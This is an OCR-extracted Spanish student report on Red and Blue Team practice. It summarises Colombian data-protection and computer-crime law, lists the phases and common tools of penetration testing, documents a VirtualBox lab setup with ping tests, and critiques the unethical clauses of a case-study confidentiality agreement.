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RESUMEN

Aborda la relevancia de los equipos Red Team y Blue Team en ciberseguridad. Se inicia
con una introduccion a las leyes colombianas que regulan la proteccion de datos y los
delitos informéaticos, destacando la Ley 1273 de 2009 y la Ley 1581 de 2012. Estas leyes
establecen un marco legal para combatir el cibercrimen y proteger la informacion
personal.

Se detalla un enfoque sistematico para realizar pruebas de penetracion (pentesting), que
incluye varias fases: reconocimiento, escaneo, obtencion de acceso, mantenimiento de
acceso, elevacion de privilegios, borrado de huellas y elaboracion de informes. Se
describen herramientas especificas utilizadas en cada fase, como NMAP para escaneo
de puertos y Metasploit para explotacion de vulnerabilidades.

Ademas, se enfatiza la importancia de actuar dentro de un marco ético y legal durante
las pruebas, asegurando que las acciones tomadas por los equipos sean responsables
y alineadas con las normativas vigentes. El informe concluye con recomendaciones para
mejorar la seguridad organizacional basadas en los hallazgos de las pruebas realizadas.
En resumen, el documento proporciona una vision integral sobre la ciberseguridad en
Colombia, combinando teoria legal con practicas técnicas esenciales para proteger

sistemas informaticos.
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GLOSARIO

Red Team: Grupo encargado de realizar pruebas de penetracidén y simular ataques para
identificar vulnerabilidades en sistemas de informacion.

Blue Team: Equipo responsable de defender y proteger los sistemas contra ataques,
implementando medidas de seguridad y respondiendo a incidentes.

Pentesting (Pruebas de penetracion): Proceso de evaluar la seguridad de un sistema
mediante la simulacion de ataques cibernéticos para identificar vulnerabilidades.

Ley 1273 de 2009: Legislacion colombiana que establece normas sobre la proteccién de
la informacién y los delitos informaticos.

Ley 1581 de 2012: Conocida como la ley de Habeas Data, regula la proteccion de datos
personales en Colombia.

Escaneo: Fase del pentesting que implica identificar puertos abiertos y servicios en un
sistema para evaluar su seguridad.

Metasploit: Herramienta utilizada para desarrollar y ejecutar exploits contra
vulnerabilidades en sistemas informéaticos.

NMAP: Programa de escaneo de red que permite descubrir hosts y servicios en una red,
asi como mapear su configuracion.

Vulnerabilidad: Debilidad en un sistema que puede ser explotada por un atacante para
comprometer su seguridad.

Informe de vulnerabilidad: Documento que detalla las debilidades encontradas durante

el pentesting, junto con recomendaciones para mejorar la seguridad del sistema.



INTRODUCCION
El blue y red team es una parte crucial de la practica de la ciberseguridad, pero antes de
entrar en temas técnicos y avanzados, es crucial a prender y comenzar por la cosas mas
basicas de este mundo de la ciberseguridad, es por eso que primero debemos entender
nuestra constitucion y nuestra patria como aborda los delitos de esta magnitud, para eso
debemos conocer que tipos de leyes defienden a los ciudadanos colombianos de los
ciberdelitos, o la proteccion de la informacion, también debemos saber cémo realizar un
escaneo de un sistema afectado para poder evaluar y realizar un diagndstico correcto

gue llevara una posterior solucion o recomendacion para evitar estos problemas



1 OBJETIVOS

1.1 OBJETIVOS GENERAL
Reunir lo aprendido durante el seminario de la especializacion sobre red team y blue
team.

1.2 OBJETIVOS ESPECIFICOS

Evaluar las acciones de los equipos Red Team & Blue Team de una organizaciéon en el
marco de los criterios éticos y legales.

Demostrar vulnerabilidades en un sistema informéatico a partir del uso de metodologias y
técnicas de intrusion.

Formular estrategias de contencion mediante el andlisis de riesgos y vulnerabilidades en

una infraestructura TI.
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2 DESARROLLO DEL TRABAJO

2.1 FASE 1 CONCEPTOS EQUIPOS DE SEGURIDAD

A lo largo de la especializacidon he visto diferentes leyes y normas colombianas, que se
ha desarrollado con el fin de combatir los delitos informaticos y la proteccion de los datos
personales, una de estas leyes con las que mas convivi en la especializacion fue la ley

1273 de 2009 denominada la proteccion de la informacion y datos.

Las principales caracteristicas de esta ley es que cubre una amplia gama de delitos
informéticos, como los pueden ser acceso independiente a sistemas de informacién,
interceptacion ilegal de datos transmitidos, interrupcion de redes o equipos mediante
malware, vulnerabilidad de la privacidad en la internet y dafios a entornos, las sanciones
gue impone esta ley son sanciones penales y multan de grandes cuantias, esto se hace
con el fin de evitar que la gente cometa acciones ilicitas en los entornos digitales, se
reconoce el derecho a la proteccion de los datos personales y se establecen los principios

y obligacién que deben tener y asegurar la gente tratante de la informacion?.

Otra ley que también se trabaj6 a lo largo de la especializacion fue la ley 1581 de 2012,

la cual es también conocida como le ley del habeas data.

Esta ley no cuenta con un tipo de delito especifico, no obstante esta si establece unos
principios y normas generales para la proteccidon de los datos personales, las sanciones
para esta ley se pueden encontrar en el codigo de procedimiento administrativo y

contencioso administrativo, las cuales pueden recaer en sanciones laborales y sanciones

Lcisc. (s/f). Normatividad sobre delitos informaticos. Policia Nacional de Colombia. Recuperado el 14 de
octubre de 2024, de https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
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econOmicas, con respecto a la proteccion de los datos personales se deben establecer
los derechos de los titulares o duefios de la informacion, las obligaciones y deberes de
la gente responsables de cdmo se debe tratar la informacion, ademas que principios

debe tener dicha tarea?.

Esas fueron las dos leyes mas nombradas y trabajadas a lo largo de la especializacion,
a continuacion, tratare de explicar otras leyes, normas y decretos, que creo son
importantes para el tema o para la formacidén como especialistas en seguridad de la

informacion,

Unas de estas es el decreto 1377 de 2013, que similar a la ley 1581 de 201, no cuenta
con algun tipo de delito especifico, respecto a las sanciones lo que hace es reforzar con
las que ya cuenta la ley mencionada anteriormente, en la proteccion de datos personales
profundiza mucho en la autorizacion para el tratamiento de los datos en su medida de

seguridad y los mecanismos de control que tiene.

Otra de estas leyes que vale la pena mencionar es la ley 1266 de 2008, esta ley trata de
la proteccion de datos de informacion, con delitos relacionados a la proteccion de datos
personales, pero ademas cuenta con el plus o afladidura de que tiene un apartado
especifico para el &rea financiera, las sanciones son similares a las que vemos en otras
leyes como lo sanciones laborales y sanciones econémicas, como se dijo anteriormente
la proteccion de datos va del lado financiero pero se puede también dar al lado de

diferentes tipos de datos?.

2 Politca de Proteccion de Datos Personales -. (2021, agosto 4). Gov.co.
https://www.minambiente.gov.co/politica-de-proteccion-de-datos-personales/
3 Ley 1266 de 2008 - Gestor Normativo. (n.d.). Gov.co. Retrieved October 14, 2024, from
https://www.funcionpublica.gov.co/eval/gestornormativo/norma.php?i=34488
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Podemos encontrar la ley 1712 de 2014, esta ley nos introduce hacia delitos de tipo
penales sobre temas relacionados con el acceso no autorizado a sistemas informéticos,
también a la interceptacion de comunicaciones, a diferencia de otras leyes esta al ser de
tipo penal entre sus sanciones cuenta con amonestaciones de tipo carcelarias y
monetarias, yéndonos al lado de la proteccion de datos personales, esta ley
complementa la ley 1273 de 2009 y también a la ley 1581 de 2012, ya que fortalece la

proteccion de datos personales pero esta tirando hacia el campo de las TIC.

Finalmente, la otra ley que creo que vale la pena mencionar es la ley 1955 de 2019, la
cual tiene delitos de tipo penal, relacionado con explotacion sexual, explotacién comercial
de infantes todo esto por medios de difusion informéaticos y telematicos, al igual de la
anterior ley cuenta con amonestaciones de tipo carcelarias y monetarias, para
complementar la proteccion de datos personales, si bien no es una ley completamente
directa a la proteccion de datos personales, ayuda a contrarrestar la difusion de material

prohibido en la internet®.

En la materia de analisis forense de segundo semestre de la especializacion vi los pasos

para realizas las pruebas de penetracién o también llamadas pentesting, las cuales son:
1. Reconocimiento:

Esta primera fase trata sobre la recoleccion de toda la informacién publica que podamos

obtener sobre el objetivo en cuestion, este tipo de informacion puede ser toda la

4 Ley 1712 de 2014 - Gestor Normativo. (n.d.). Gov.co. Retrieved October 14, 2024, from
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=56882

5 Ley 1955 de 2019 - Gestor Normativo. (n.d.). Gov.co. Retrieved October 14, 2024, from
https://www.funcionpublica.gov.co/eval/gestornormativo/norma.php?i=93970
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necesaria como por ejemplo infraestructura de red, dominios, empleados y la tecnologia

usada, con las siguientes herramientas o programas podemos realizar esta tarea:

GHDB: Esta es una base de datos de pirateria patentada por Google, y la que contiene
mucha informacion especifica sobre el objetivo en cuestion, vale la pena decir que esta

base de datos usa el motor de busqueda de Google, la cual es muy completa.

Shodan: Esta es un motor de busqueda que se especializa en instrumentos conectados
a la red como lo pueden llegar a ser servidores, dispositivos de l0T, o siendo mas

especificos camaras de IP, entre otros dispositivos.
2. Escaneo:

Esta segunda fase con dice que una vez recolectamos toda la informacién en el paso
anterior se procede al escaneo como lo dice su nombre de los puertos y servicios con el
fin de comprobar sistemas y aplicaciones que se encuentren expuestas a la red, hay
muchas herramientas para llevar a cabo esta tarea, pero considero que hay dos muy
importantes en la industria que se han llegado a posicionar en lo mas alto por su facilidad

de uso y su fiabilidad, como lo son:

NMAP: Herramienta o programa de escaneo de puertos muy versatil con esta podemos

identificar hosts, servicios y sistemas operativos®.

6 Shivanandhan, M. (2020, octubre 2). What is Nmap and how to use it — A tutorial for the greatest scanning
tool of all time. Freecodecamp.org. https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-
a-tutorial-for-the-greatest-scanning-tool-of-all-time/
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Nessus: Este escaner nos ayuda en la identificacién de vulnerabilidades de los sistemas

operativos y las aplicaciones’.
3. Obtencién de acceso:

La tercera fase nos dice que cuando ya tengamos la informacion lista, o sea recolectada
y escaneada procedemos a explotar sus vulnerabilidades con el fin de obtener acceso a

los sistemas, la herramienta mas importante es:

Metasploit: Programa 0 marco que contiene innumerables exploits con diferentes tipos

de vulnerabilidades.

Burp Suite: Esta se complementa muy bien con metasploit debido a que esta es mas

hacia las vulnerabilidades web.
4. Mantenimiento de acceso:

Una vez encontramos la vulnerabilidad y logramos explotarla, debemos mantener el
acceso lo mas posible, esto con el fin de realizar un analisis profundo del sistema, acéa

hay un programa reina que es:

Empire: El cual nos ayuda a mantener el acceso al sistema comprometido, con el plus
de que nos permite realizar tareas como comandos y mas importante aun transferencia

de archivos.

7 Nessus vulnerability scanner: Network security solution. (s/f). Tenable®. Recuperado el 3 de diciembre
de 2024, de https://www.tenable.com/products/nessus
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5. Elevacion de privilegios:

Aca simplemente es intentar elevar los privilegios del sistema, como por ejemplo el

acceso de administrador, con estas dos herramientas es posible llevar a cabo la tarea:

Powersploit: El cual tiene una biblioteca grande de scripts para powershell, con las que
se puede realizar diversos ataques para internar realizar una escalada en los privilegios,

cabe destacar que Unicamente es para el sistema operativo de Windows.

LinEnum: Similar a Powersploit, pero disefiada especificamente para Linux.

6. Borrado de huellas:

Para finalizar toda la exploracién se deben borrar las huellas, para que la prueba sea un
poco dificil de detectar, para eso se usan diferentes aplicaciones, pero la mas importante

seria;

BleachBit: El cual funciona como un limpiador de disco, que sirve para eliminar

temporales y datos innecesarios.

7. Elaboracion de informes:

El paso final de la prueba de penetracion, el cual es realizar un informe detallando las
debilidades identificadas, recomendaciones para mejorar la seguridad y reducir las
vulnerabilidades, y finalmente un plan de mejoramiento para corregir las debilidades, al
igual aca hay muchas aplicaciones o herramientas, la cual la aplicaciéon reina y

principales es:

OpenVAS: Simplemente una plataforma para gestionar vulnerabilidades, para generar

informes detallados.
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Metasploit: Es una biblioteca grande de programas y scripts, que son usando por hackers
ya sean éticos o no éticos con el fin de buscar y explotar las vulnerabilidades de los
diferentes sistemas, con el fin de explicarlo para mas gente y sea comprensible para
personas fuera del rublo esto podria compararse con un gran almacén de llaves maestras

para probar diferentes tipos de cerraduras.

NMAP: Lo definiria como un radar que escanea y crea un mapa detallado de la red, en
el que se pueden observar computadores encendidos, lo puertos que tiene abiertos y

diferente informacion util, todo esto con el fin de comprender la configuracion de la red.

OpenVAS: En grandes palabras para realizar un simil es que es un escaner de cuerpo
completo para sistemas informaticos, pero ¢qué quiere decir esto?, quiere decir que
busca y reconoce las diferentes vulnerabilidades que se encuentran en determinado

sistema y con esto brinda un informe detallado de los problemas con los que cuenta.

ExploitDB: Es una gran plataforma donde se almacenan diferentes instrucciones

detalladas para explotar diversos tipos de vulnerabilidades.

CVE: son las siglas de Common Vulnerabilities and Exposures, ahora en espaiiol y
sintetizado en una base de datos publica en donde catalogan cada vulnerabilidad con un
diferente cédigo que identifica y detalla las vulnerabilidades, con la ayuda de openVAS,
gue cuando realiza el informe suele darnos el numero del CVE, en esta base de datos

podemos comprobar mas informacion de la vulnerabilidad.



A. Se procedio a descargar virtual box en su ultima version:
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|'f,-_| VirtualBox-7.1.2-164945-Win 13/10/2024 917 p. m. Aplicacian

108.173 KB

llustracion 1. Descarga de VirtualBox.

B. Maquina virtual de la carpeta subida en el foro:

|3

[ e— W .

Mueva Afiadir  Configuracion Descartar  Iniciar

-~ ESISeg.DB =] General =] Previsualizacién
4 Nembre: Win7-5E2020-X64
| ed ) Win7-SE2020-X64 E: Sisterna operativo:  Windows 7 (64-bit)
W @ Apagad 0= Grupos: ES| Seg. DB
pagada rupos: £q.
Sistema .
| Win7-5E2020-X64
1 Memoria base: 4096 MB
Orden de arranque:  Optica, Disce duro
Aceleracion: Paravirtualizacién Hyper-V
|
| [ Pantalla ~
| Memoria de video: 18 MB
Controlador grafico: VBoxSVGA
| Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

Almacenamiento

Controlador: SATA
| Puerto SATA 0: Win7-SE2020-X64-disk001.vdi (Normal, 50,00 GB)
Puerto SATA 1: [Unidad éptica] Vacio

0 Audio
! Centrolador de anfitrion:  Windows DirectSound
| Controlador Audio Intel HD

) IS

llustracion 2. Comprobacién OVA de Windows instalado.

Name ~ Modified ~ Modified By ~ File size ~ Sharing ~

Rejjeto_123456.zip ® - B Y September 3 Luis Fernando Zam 14.6 MB 25 Shared

Win7-5E2020-X64.0va S September 3 Luis Fernando Zam  3.51 GB % Shared

o

llustracion 3. Archivos en el banco de trabajo.

Activity
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En el banco de trabajo, no se encontré la maquina de Kali Linux, al no encontrarla se
descarg6 de la pagina de Kali y la intente configurar tal cual parecida a la maquina de

Windows.

T3 Oracle Virtualbiox Administrador

Brchiva Maguina  Apuda

() Herramitas

ES15¢5.08
‘ﬁh WinT-SE2020-X64

= Comiendo
FE s fnux-2024.3 virbualbon-amd6A =
WS < coriendo —

doda, PAE/N, Pacmirtuslizacidn KM

12818

cumiario 0 [Unidad Gptica] Yacia

-t -2024 3 virtualbs s vdi (Normal, 81,09 GB)

rién: Vindoms DirectSound
Audie ntel HD

i 1:Intel PRO/1000 MT Desktop (NAT)

Controlador USB:  OHC, EHCI
Fitros de dspostives: 0 {0 activa)

5 Corpetas compartidas
Hinguno

B Descripon

Kol Rling (2X243) 584
e

itps:/discord.kak.org

llustracion 4. Comprobacién maquinas virtuales instaladas.
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2R Administrador: C:A\Windows\system32'\cmd.exe
C:Uzseprssusuario>ipconfig

Configuracion IP de Windows

Adaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. .
: fdoB:-4842:-9ced:-4e38:-7378
: fdAB: - 9458:53hB-cAac-d58a
: fe8@::-4842:-9ced:-4e38:-7898:x11

Direccidn IPwb . . . - e e .
Direccion IPub tempulal . -
Uinculo: direccidn IPue lncal. -
Direccidn IPwd. . . . . . . . . .
Miscara de subred . . . .

Puerta de enlace predetermlnada .

Estado de los medios. . .
Sufijo DNS especifico para la cunex1un

C:sUserssusnario>_

18.8.2.15
255.255.255.8

feBB::2x11

Adaptador de tinel isatap.{SBESBEDZ2-?BP4-4799-BEB3-D289D73C2468%:

medios desconectados

llustracion 5. Ip de la maquina virtual Windows.

:\Users\santi>ipconfig

onfiguracion IP de Windows

Ndaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexion.

[ ][5

Direccion IPv6

Direccion IPv6 5
Direccion IPv6 temporal.
Vinculo:
Direccion IPvi.

Mascara de subred

Puerta de enlace predetermlnada

direccion IPvé local.

2800:U8U:5879:5100:1d7U:18F0: 8baf: 555
2800:U8U:5879:5100:28ec:623f:Uf6:3ecd
2800:484:5879:5100:9c98:62b7:d22c:8U3e
fe80::3f12:Ub3b:b5f9:e99d%8
192.168.20.28
255.255.255.0
fte80::1682:5bff:fe00:20%8

fe80::217:10FF:fe87:7al6%8
192.168.20.1

llustracion 6. Ip de la maquina host.




Simbolo del sistema

ytes 2926
dropped
bytes

dropped @
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[#]
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4113
overruns @

216@

399
queuelen 1000
.8 KiB)

runs @
(4.8 KiB)

Loopback )
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collisions
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llustracion 7. Ip de maquina virtual de kali linux.

*

+

Microsoft Windows [Version 10.0.22631.u4317]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\santi>ping 10.8.2.15

Haciendo ping a 10.0.2.15 con

de
de
de
de

espera
espera
espera
espera

agotado
agotado
agotado
agotado

para esta solicitud.
para esta solicitud.
para esta solicitud.
para esta solicitud.

Estadisticas de ping para 10.8.2.15:
Paquetes: enviados = U, recibidos = @, perdideos = U
(100% perdidos),

C:\Users\santi>ping 127.

Haciendo ping a

Respuesta
Respuesta
Respuesta
Respuesta

desde
desde
desde
desde

Estadisticas de

Paquetes: enviados = U, reci

127.
127.
127.
127.
127.

(0

1
LA
LdLg

l .

1

.0.1

bytes=32 tiempo<lm
bytes=32 tiempo<lm
bytes=32 tiempo<lm
bytes=32 tiempo<lm

ping para 127.0.0.1:

(8% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Oms, Maximo = Oms, Media = Oms

llustracion 8. Ping desde el host, hacia las maquinas virtuales windows y kali linux.

con 32 bytes de datos:

32 bytes de datos:

TTL=128
TTL=128
TTL=128
TTL=128

idos = U, perdidos = ©

@

@
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BN Administrador: C\Windows\system32\cmd.exe EI@

Microsoft Windows [Uersion 6.1.76811]
Copyright (c)> 20A? Microsoft Corporation. Reservados todos los derechos.

C:~Userssusuariorping 192.168.260.28

ping a 192.168.20.28 con 32 bhytes de datos:
Respuesta desde 192.168.20.28: bytes=32 tiempo<im TTL=255%
192 .168.20.28: bhytes=32 tiempo<im TTL=25%
192 _168.20_.28: hytes=32 tiempo<im TTL=25%
Respuesta desde 192.168.20.28: bytes=32 tiempo<im TTL=255%

Fztadisticas de ping para 192.168.20.28:
Parquetes: enviados = 4, recibidos = 4, perdidoz = A
(@ perdidosl.

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Bms, Maxime = Bms, Media = Bms

C:~Userssusuariorping 127.8.8.1

ping a 127.8_A.1 con 32 hytes de datos:
Respuesta desde 127.8.8.1: bhytes=32 tiempo<im TTL=128
Respuesta desde 127.8.8.1: bhytes=32 tiempo<im TTL=128
Rezpuesta desde 127.8.8.1: bhytes=32 tiempo<im TTL=128
Respuesta desde 127.B.B.1: hytes=32 tiempo<im TTL=128

Eztadisticas de ping para 127.8.8.1:
Pagquetes: enviados = 4, recibidosz = 4, perdidos = 8
(@x perdidosl.

Tiempos aproximados de ida vy vuelta en milisegundos:
Minimo = Bms, Maximo = Bms, Media = Oms

C:~Users-usuario>

llustracion 9. Ping desde la maquina virtual Windows, hacia la maquina virtual kali linux y el host.

b

kali@kali; ~
File Actions Edit View Help

ying 1@.

PING 10.8.2.15 (10.@.: 151 56(84) bytes of
4 bytes from 1@. .15: icmp_seqg=1 ttl=64
4 bytes from 10. .15: icmp_seq=2 ttl=64

bytes from 10. .15: icmp_seq=3 ttl=64
4 bytes from 10.08.2.15: icmp_seq=4 ttl=64
"C
— 16.8.2.15 ping statistics —

4 packets transmitted, 4 received packet loss, time 3088ms
rtt min/avg/max/mdev = 9.021/0.023/0.826/0.002 ms

s of data.
tim !
tim

llustracion 10. Ping desde la maquina virtual de kali, hacia la maquina virtual de windows y el host.
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Fecha y hora actuales:
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Fabricante del sistema:
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Versidn de DirectX:
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MNETTH
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llustracion 11. Caracteristicas técnicas del hardware host.

€ Herramienta de diagnastico de DirectX

Sistema | Pantalla | Sonido | Ertrada

(o] ® ==

visitar las paginas en secuendia.

Informacién del sistema

Fecha y hora actuales:
Mombre del equipo:
Sistema operativo:
Idioma:

Fabricante del sistema:
Modelo del sistema:
BIOS:

Procesador:

Memoria:

Archivo de paginacidn:
Versidn de Directx:

Esta herramienta informa detalladamente acerca de los componentes y controladores de Direct¥ instalados en el sistema.

Si conoce la causa del problema, haga dic en la ficha correspondiente arriba. De lo contrario, use el botén "Pagina siguiente™ abajo para

lunes, 14 de octubre de 2024, 02:53:08 p.m.
PC202008

Windows 7 Professional 64 bits (6.1, compilacidn 7601)
Espaiiol (configuraddn regional: Espariol)
innotek GmbH

VirtualBox

Default System BIOS

AMD Ryzen 5 3600 6-Core Processor
4096MB RAM

669MB usados, 7519MB disponibles

Directx 11

[¥] Comprobar firmas digitales de los Laboratorios de calidad de hardware de Windows (WHGQL)

0 | DxDiag 6.01.7601. 17514 32 bits Unicode Copyright © 1998-2006 Microsoft Corporation. Reservados todos los derechos.

[ Ayuda | [ Eicoutar 64bit DixDiag |

[ Pagina siguiente ] [Guardar la informacidn... ] [ Salir

llustracion 12. Caracteristicas técnicas del hardware maquina virtual Windows.
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2 Computer - Summary - System Information and Benchmark

Information View Help
¥ Refresh [® Generate Report & Synchronize

Computer Computer
@ summary __ AMDRyzen’53600 6-Core
ﬁ' Operating System k " 1physical processor; 2 cores; 2 threads
W security M y 2021MB (569MB used)
€ Kernel Modules Mact e Virtual (VirtualBox)
© Boots Operat em Kali G inux Rolling
| Languages r Name kali ()
flemory Uthage Date/Time Mon14 Oct2024 04:20:41 PM EDT
&5 Filesystems
] pisplay Display
Environment Variables esolution 1920x966
=, Development dapter VMware SVGA II'Adapter.
lvmpipe (LLVM 17.0.6, 256 bits)
2r The X.Org Foundation 21.1.11

Audio Devices
Audio Adapter HDA-Intel - HDA Intel

Q System DMI
Processor
! Graphics Processors
‘:.l Monitors
&l Memory Devices
& PCl Devices
£ USB Devices
i Firmware
& Printers
® Battery
. Sensors
'q Input Devices P ¢ Speaker
M Storage C lic Audio

Input Devices
AT Translated Set2 d Keyboard

Keyboard
Keyboard

Keyboard

llustracion 13. Caracteristicas técnicas del hardware maquina virtual Kali.
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2.2 FASE 2 ACTUACION ETICA Y LEGAL

Andlisis anexo 2

El Anexo 2, nos plantea un resumen de los hechos por la compafiia, donde se logran
evidenciar unos aspectos erréneos al tratarse de una empresa con tanto renombre
mundial y que trabaja con gobiernos de diferentes paises, como, por ejemplo, no corregir
los contratos de un abogado despedido por procesos ilicitos dentro de la empresa, esto
nos puede dar a entender que dentro de esos procesos puede llegar a haber fraude que
es de los mas comunes, ademas la alta gerencia no revisa esos contratos antes de
haberlos firmado, esto da a entender que una falta de responsabilidad en el manejo de
documentos legales cruciales. Este tipo de omisiones puede llegar a tener
consecuencias legales, dado que puede implicar que la organizacién este operando bajo
acuerdos que pueden ser perjudiciales y no conformes con la ley.

Otro hecho es que la organizacién “aprovecha la serie de problemas que se han
identificado”, esto con el fin de justificar la urgencia en la contratacion y el supuesto
trabajo bajo presion, que en una empresa de este calibre no es ético la explotacién de
este recurso, esto porque puede incluir el control del personal con el fin de manipular
circunstancias internas y asi acelerar procesos sin asegurar que se cumplan los
estandares legales y éticos para la contratacion de personal y la firma de los contratos.
Ahora pueden implementarse algunas medidas con el fin de mejorar este tipo de
revisiones, de las primordiales, y lo que debio hacer la alta gerencia, implementar un
protocolo de revision, en el cual se desarrolle un proceso estandarizado para la revision

de esos contratos, como por ejemplo realizar una checklist, esto asegurara que no se
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pase ningun requisito legal, y asegurara que esos contratos sean evaluados de forma
igualitaria y exhaustiva.

Andlisis anexo 3.

En este acuerdo de confidencialidad se encuentra varias ilegalidades y varios procesos

poco éticos por parte de la empresa, algunos de esos son:

3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la
apropiacion de informacion de terceros.

llustracion 14. Articulo 3, sobre anexo 3 acuerdo de confidencialidad.

En la anterior clausula, se puede llegar a interpretar como intento de ocultar o encubrir

actividades ilegales, esto obliga al estudiante a no informar de posibles delitos.

4, Abstenerse de denunciar vy publicar la informacién
confidencial e ilegal que conozca, reciba o intercambie con
ocasién de las reuniones sostenidas.

llustracion 15. Articulo 4, sobre anexo 3 acuerdo de confidencialidad.

Este parrafo, nos dicta una obligacion que facilmente podria encubrir las actividades
ilicitas dentro de la empresa. Si el estudiante tiene el conocimiento de estas practicas
ilegales y por eso mimos no puede denunciarlas, se crea un ambiente ideal para la

impunidad de la empresa y la falta de rendicion de cuantas de la misma.

Paragrafo: Cualquier divulgacion autorizada de la informacion
confidencial a terceras personas estara sujeta a las mismas
obligaciones de confidencialidad derivadas del presente Acuerdo v la
parte receptora deberd informar estas restricciones incluyendo la
identificacién de la informacion cono confidencial.

llustracion 16. Paragrafo, sobre anexo 3 acuerdo de confidencialidad.
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En el paragrafo nos cuenta que se puede restringir el derecho a la libertad de expresion
y el derecho a informar sobre las irregularidades. La falta de claridad sobre qué constituye
informacioén "confidencial" puede llevar a abusos, donde se silencia informacion relevante

para el interés publico y més si se trabaja con gobiernos de diferentes paises.

Octava. Solucién de controversias: Las partes (nombre estudiante
- nombre empresa) se comprometen a esforzarse en resolver
mediante los mecanismos alternativos de solucidon de conflictos
cualquier diferencia que surja con motivo de la ejecucién del presente
acuerdo. En caso que la informacion ilegal o confidencial sea
encontrada en manos del receptor este deberd acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a
CyberFort Technologies.

llustracion 17. Parte octava, sobre anexo 3 acuerdo de confidencialidad.

Esta parte da a entender que transfiere toda la responsabilidad legal al estudiante, lo
cual es problemético si se considera que la empresa podria estar involucrada en
practicas ilegales. Esto podria ser interpretado como un intento deliberado de evadir
responsabilidades legales por parte de CyberFort Technologies.

Andlisis de los anexos, en relacién a la vulneracion de la ley 1273 argumentando
cualquier proceso ilegal.

Teniendo en cuanta estos fragmentos del acuerdo de confidencialidad, podemos saber
que articulos de la ley 1273 de 2009 son vulnerados.

Uno de ellos es el articulo 2, el cual trata sobre los delitos informaticos, en el cual entra
la interceptacion de los datos, accesos no autorizados a sistemas informaticos y la
divulgacion de informacion confidencial, en el acuerdo del anexo 3, nos menciona que el

estudiante no puede denunciar actividades sospechosas como espionaje o algunos
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procesos que impliquen la apropiacién de la informacién de terceras personas, en tal
caso esto podria interpretarse como obstruccién de justicia®.

Otro articulo es el articulo 3, el cual dice que los datos personales deben ser tratados
con respeto a la intimidad y cumpliendo los derechos fundamentales, la vulneracién de
este se cuenta cuando el estudiante debe mantener la confidencialidad de la informacion,
el problema de esto recae que adicional incluye algunas clausulas, sobre las limitantes
de las denuncias ante las autoridades sobre posibles actividades sospechosas que
podrian ser ilegales, esto puede llegar a comprometer el derecho a la proteccién de datos
personales, si en estas actividades sospech9osas se ocultan abuso o violacion a los
derechos fundamentales®.

Finalmente, el otro articulo que vulnera considero que es el articulo 4, esté trata sobre la
prohibicion del del acceso y uso indebido de la informacién sin previa autorizacion, la
vulneraciéon de este al obligar al estudiante a no divulgar informacién sobre procesos
ilegales dentro de CyberFort Technologies, el acuerdo puede facilitar el encubrimiento
de actividades ilicitas, lo que choca con lo que dice el articulo 4 que la idea de este es
buscar prevenir el uso indebido de informacion.

Analisis de la propuesta laboral, teniendo presente en cuenta la revision desde el
punto de vista legal y ético.

Por otro lado, la empresa nos propone trabajar aca por 15 M de pesos y un contrato

vitalicio, después de conocer todas las irregularidades, y conociendo el codigo de ética

8 Ley 1273 de 2009 - Gestor Normativo. (s/f). Gov.co. Recuperado el 28 de octubre de 2024, de
https://www.funcionpublica.gov.co/eval/gestornormativo/norma.php?i=34492
9 Ley 1273 de 2009 - Gestor Normativo. (s/f). Gov.co. Recuperado el 28 de octubre de 2024, de
https://www.funcionpublica.gov.co/eval/gestornormativo/norma.php?i=34492
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de COPNIA, mi respuesta seria que no, debido a que COPNIA cuenta con 5 pilares
importantes en su codigo de ética, siendo estos*O:

1. Responsabilidad profesional.

N

Honestidad e integridad.
3. Confidencialidad
4. Cumplimiento legal

5. Respeto a los derechos humanos.

Teniendo en cuenta estos pilares, todo nuestro andlisis anterior del acuerdo choca
directamente con 2 de estos pilares, siendo estos La confidencialidad y el cumplimento
legal.

La obligacion de no denunciar actividades sospechosas (clausula 3) va en contra del
principio de responsabilidad profesional y cumplimiento legal y las restricciones sobre la
divulgacion de informacion confidencial (clausula 4) pueden facilitar el encubrimiento de
practicas poco éticas o ilegales, lo cual es incompatible con el deber ético de actuar con
integridad.

Analisis del caso “Ciberespionaje y Etica en CyberFort Technologies” desde su
posicion teniendo en cuenta los aspectos legales y éticos.

Anexo 7.

La cuestion del acceso a informacion sensible por parte de empresas de ciberseguridad
durante auditorias de seguridad es compleja y esta influenciada por factores legales y

éticos.

10 |nicio. (s/f). Gov.co. Recuperado el 28 de octubre de 2024, de https://www.copnia.gov.co
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En el apartado de Implicaciones Legales, la Ley 1581 de 2012, dicta un marco normativo
para la proteccion de datos personales. Esta ley exige que cualquier tratamiento de datos
sensibles debe contar con el consentimiento explicito del titular. Por lo tanto, las
empresas de ciberseguridad deben asegurarse de que los clientes otorguen dicho

consentimiento antes de acceder a informacion sensible durante una auditoria®!.

Desde una perspectiva ética, las empresas deben actuar con responsabilidad y
transparencia, en el caso de CyberFort Technologies, se puede evidenciar como el abuso
del acceso a informacion puede llevar a practicas de ciberespionaje, comprometiendo la
confianza del cliente y la integridad profesional.

Una vez analizado el anexo 7 respecto a las implicaciones legales y éticas, procedemos
a realizar las preguntas.

A la primera pregunta considero que el acceso a la informacion sensible se deberia tratar
con una rubrica o checklist evaluando la informacion de la siguiente manera, primero que
la informacion sea limitada, o sea que solo se deba tener acceso a la informacion
estrictamente necesaria, segundo la autorizacion, se deberia tener un acuerdo a claro y
transparente en la que se especifique a que datos se puede acceder y el propésito de
esto, y finalmente la documentacién, en la que se registre todas las acciones durante la
auditoria para asegurar la transparencia del proceso.

La segunda parte de la primera pregunta nos habla de las garantias para que esto no
pase, de las cuales hay 4 ideas en las que me gustaria profundizar, la primera es en

acuerdos de confidencialidad, trata de firmar contratos que incluyan clausulas sobre el

1 Ley 1581 de 2012 - Gestor Normativo. (s/f). Gov.co. Recuperado el 28 de octubre de 2024, de
https://www.funcionpublica.gov.co/eval/gestornormativo/norma.php?i=49981
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manejo y uso de la informacién de caracter sensible, la segunda idea son las auditoras
internas, en las cuales el gobierno vecino puede realizar auditorias internas periédicas
